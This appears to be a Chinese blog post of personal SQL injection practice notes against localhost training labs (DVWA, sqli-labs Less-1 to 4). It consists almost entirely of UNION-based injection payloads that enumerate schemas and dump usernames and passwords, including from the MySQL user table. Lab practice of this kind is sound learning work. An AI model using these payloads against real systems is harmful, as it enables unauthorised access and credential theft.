sql爆破

1' and 2=1 union select 1,database() -- -

1000' union select 1,(select group_concat(table_name) from information_schema.talbes where table_schema='dvwa') -- -

1000' union select 1,(select group_concat(concat_ws(0x7e,column_name))from information_schema.columns where table_schema ='dvwa' and table_name='users') -- -

1000' union select 1,(select group_concat(concat_ws(0x7e,user_id,first_name,last_name,user,password,avatar,last_login,failed_login))from users ) -- -
 

中难度

 

high

 

训练 

1 http://localhost/sqli-labs-master/Less-1/?id=1'  and 1=2 union select 1,database(),3 -- -

http://localhost/sqli-labs-master/Less-1/?id=1'  and 1=2 union select  1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 -- --- -

http://localhost/sqli-labs-master/Less-1/?id=1'  and 1=2 union select  1,(select group_concat(concat_ws(0x7e,column_name))from information_schema.columns where table_schema ='security' and table_name='users'),3 -- --- -

http://localhost/sqli-labs-master/Less-1/?id=1000' union select 1,(select group_concat(concat_ws(0x7e,id,username,password))from users ),3 -- -

2

http://localhost/sqli-labs-master/Less-2/?id=1000 union select 1,(select group_concat(concat_ws(0x7e,id,username,password))from users ),3 -- -

3.http://localhost/sqli-labs-master/Less-3/?id=1000') union select 1,(select group_concat(concat_ws(0x7e,id,username,password))from users ),3 -- -

4.

http://localhost/sqli-labs-master/Less-4/?id=1000") union select 1,(select group_concat(concat_ws(0x7e,id,username,password))from users ),3 -- -

3题

http://localhost/sql.php?parm=%27and%201=2%20%27%20%20union%20select%20(select%20group_concat(concat_ws(0x7e,column_name))from%20information_schema.columns%20where%20table_schema%20=%27mysql%27%20and%20table_name=%27user%27)%20,database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database()

http://localhost/sql.php?parm=%27and%201=2%20%27%20%20union%20select%20(select%20group_concat(concat_ws(0x7e,password))from%20user%20),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database()

• 点赞
• 收藏
• 分享
• 文章举报

小白菜meatball 发布了26 篇原创文章 · 获赞 0 · 访问量 215 私信 关注